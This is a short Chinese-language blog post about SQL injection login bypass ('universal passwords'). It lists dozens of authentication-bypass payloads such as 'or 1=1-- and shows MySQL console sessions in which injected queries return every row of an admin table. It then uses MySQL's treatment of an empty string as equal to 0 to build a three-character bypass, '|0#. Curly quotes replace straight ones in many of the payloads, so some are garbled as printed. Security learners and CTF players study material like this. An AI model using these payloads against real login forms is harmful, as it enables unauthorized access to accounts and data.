0x00 再谈万能密码登陆
万能密码基本大家都用过,各种各样的,如下’or 1=1/ “or “a”=”a “or 1=1— “or”=” “or”=”a’=’a “or1=1— “or=or” ‘’or’=’or’ ‘) or (‘a’=’a ‘.).or.(‘.a.’=’.a ‘or 1=1 ‘or 1=1— ‘or 1=1/ ‘or”=”a’=’a ‘or’ ‘1’=’1’ ‘or’’=’ ‘or’’=’’or’’=’ ‘or’=’1’ ‘or’=’or’ ‘or.’a.’=’a ‘or1=1— 1’or’1’=’1 a’or’ 1=1— a’or’1=1— or ‘a’=’a’ or 1=1— or1=1—其实根据前面的文章我们很容易看出 他的原理就是让我们的条件恒成立 至于为什么这么多种,就是根据语句的形势来闭合的,这里面涉及到运算符的优先级,MySQL运算的特性,然后下面我们以几个例子来做做最另类的万能密码mysql> select from admin where name = ‘/‘ and pass = ‘/‘; Empty set (0.00 sec)注释绕过 mysql> select from admin where name = ‘’or 1=1— ‘ and pass = ‘123’; -> ; +——+—————-+———-+ | id | name | pass | +——+—————-+———-+ | 1 | admin | admin | | 2 | admin’111 | 11111 | | 3 | admin’111 | 11 | | 4 | admin’111 | 11 | +——+—————-+———-+ 4 rows in set (0.00 sec)经典的or 1=1— 其中1=1恒为true 然后导致每条数据都成立返回那么知道了这个原理怎么构造一个简单的万能密码呢 mysql> select ‘’=0 -> ; +———+ | ‘’=0 | +———+ | 1 | +———+ 1 row in set (0.00 sec)
mysql> select 1=0=0; +———-+ | 1=0=0 | +———-+ | 1 | +———-+ 1 row in set (0.30 sec)我们可以看到在mysql中 空字符串’’ 等于0 为1 也就是true 知道这个特性我们可以来构造我们的万能密码了mysql> select * from admin where name = ‘’|0#’ and pass = ‘123’; -> ; +——+—————-+———-+ | id | name | pass | +——+—————-+———-+ | 1 | admin | admin | | 2 | admin’111 | 11111 | | 3 | admin’111 | 11 | | 4 | admin’111 | 11 | +——+—————-+———-+ 4 rows in set, 5 warnings (0.00 sec)仅仅用了 ‘|0# 个字符就能达到我们的效果 其他方法大家还可以测试,因为是自己发现的,然后问了几个师傅 发现ctf已经别人都用过了 ,不得不承认自己的知识量远远不够。# 0x01 文末
本文如有错误,请及时提醒,避免误导他人
author:404